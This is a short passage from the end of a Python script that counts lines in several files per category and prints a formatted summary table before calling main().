counts[b] = sum(1 for _ in open(p)) if p.exists() else 0
|
|
summary[kind] = counts
|
|
|
|
print("\n" + "=" * 60)
|
|
print("SUMMARY")
|
|
print("=" * 60)
|
|
for kind, c in summary.items():
|
|
print(f" {kind:14s}: " + " ".join(f"{k}={v}" for k, v in c.items()))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|